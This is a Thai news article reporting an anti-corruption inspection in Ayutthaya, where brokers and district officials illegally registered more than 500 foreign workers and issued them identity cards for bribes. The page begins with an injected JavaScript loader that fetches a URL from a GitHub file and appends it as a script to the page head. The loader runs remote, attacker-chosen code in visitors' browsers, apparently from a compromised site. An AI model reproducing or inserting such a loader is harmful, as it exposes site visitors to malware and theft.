;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); อยุธยา หลายหน่วยงานสนธิกำลัง เข้าตรวจสอบเกี่ยวกับการแจ้งย้ายและการจัดทำเอกสารประจำตัวบุคคลที่ไม่มีสถานะทางทะเบียน ที่ว่าการอำเภอแห่งหนึ่ง - ThaiReference | อาสาไทยยืนยัน
อยุธยา หลายหน่วยงานสนธิกำลัง เข้าตรวจสอบเกี่ยวกับการแจ้งย้ายและการจัดทำเอกสารประจำตัวบุคคลที่ไม่มีสถานะทางทะเบียน  ที่ว่าการอำเภอแห่งหนึ่ง

 ชุดปฏิบัติการจากหลายหน่วยงาน ชุดปฏิบัติการเฉพาะกิจ สำนักการสอบสวนและนิติการ กรมการปกครอง- สำนักงานป้องกันและปราบปรามการทุจริตภาครัฐ (ป.ป.ท.) –  สำนักงานคณะกรรมการป้องกันและปราบปรามการทุจริตแห่งชาติ (ป.ป.ช.) รวมถึงหน่วยงานที่ บผิดชอบด้านงานทะเบียนและบัตรประจำตัวประชาชน ได้เข้าตรวจสอบการดำเนินการจัดทำเอกสารแสดงตนให้แก่บุคคลที่ไม่มีสถานะทางทะเบียนและไม่มีสัญชาติไทย ซึ่งกระทำโดยไม่ถูกต้องตามกฎหมายและระเบียบที่เกี่ยวข้อง

จากการตรวจสอบพบว่า มีขบวนการนายหน้าและเจ้าหน้าที่ของรัฐบางรายร่วมกันกระทำการโดยมิชอบ โดยมีพฤติการณ์สำคัญ ได้แก่ กลุ่มนายหน้าได้นำพาบุคคลไม่มีสถานะทางทะเบียนซึ่งเป็นแรงงานต่างด้าวจากพื้นที่จังหวัดกาญจนบุรี มาดำเนินการแจ้งย้ายชื่อเข้าทะเบียนบ้านในพื้นที่อำเภอแห่งหนึ่ง ในจังหวัดพระนครศรีอยุธยา  มีการปลอมแปลงหนังสือมอบอำนาจของเจ้าบ้านเพื่อใช้ในการแจ้งย้ายบุคคลดังกล่าว หรือในบางกรณีมีการจ่ายค่าตอบแทนให้แก่เจ้าบ้านเพื่อยินยอมให้มีการแจ้งย้ายเข้า เป็นเงินรายละประมาณ 3,000 – 5,000 บาท บ้านที่ใช้เป็นที่แจ้งย้ายเข้า แม้จะมีเลขที่และทะเบียนบ้าน แต่ไม่มีสภาพเป็นที่อยู่อาศัยจริง หรือไม่สามารถอยู่อาศัยได้ โดยมีการแจ้งย้ายบุคคลเข้าบ้านแต่ละหลังเฉลี่ยประมาณ 20 – 50 คน หลังจากแจ้งย้ายทะเบียนบ้านแล้ว เจ้าหน้าที่ของรัฐที่เกี่ยวข้อง ได้แก่ ปลัดอำเภอจำนวน 4 ราย และเจ้าหน้าที่อีกจำนวน 4 ราย ได้ดำเนินการจัดทำบัตรประจำตัวบุคคลที่ไม่มีสถานะทางทะเบียนให้แก่แรงงานต่างด้าวดังกล่าว ทั้งที่บุคคลเหล่านั้นไม่มีคุณสมบัติถูกต้องตามกฎหมาย โดยมีการเรียกรับเงินค่าตอบแทนรายละประมาณ 35,000 บาท

ผลการตรวจสอบพบว่ามีบุคคลต่างด้าวที่ได้รับการจัดทำเอกสารทางทะเบียนโดยไม่ถูกต้องมากกว่า 500 ราย ทั้งนี้ เจ้าหน้าที่ได้ตรวจยึดพยานหลักฐานที่เกี่ยวข้อง อาทิ เอกสารทางทะเบียน หลักฐานการติดต่อสื่อสารระหว่างเจ้าหน้าที่ของรัฐกับกลุ่มนายหน้า และได้ลงพื้นที่ตรวจสอบสภาพบ้านที่มีการแจ้งย้ายเข้า เพื่อรวบรวมพยานหลักฐานทั้งหมดประกอบการพิจารณาดำเนินการตามกฎหมาย หน่วยงานที่เกี่ยวข้องจะนำพยานหลักฐานเสนอต่อคณะกรรมการป้องกันและปราบปรามการทุจริตภาครัฐ (ป.ป.ท.) เพื่อดำเนินการตามกฎหมายกับเจ้าหน้าที่ผู้มีส่วนเกี่ยวข้อง และจะขยายผลไปยังบุคคลหรือเจ้าหน้าที่ของรัฐรายอื่นที่มีพยานหลักฐานเชื่อมโยงต่อไปทุกกรณีความผิดต่อไป

ทีมข่าวเฉพาะกิจ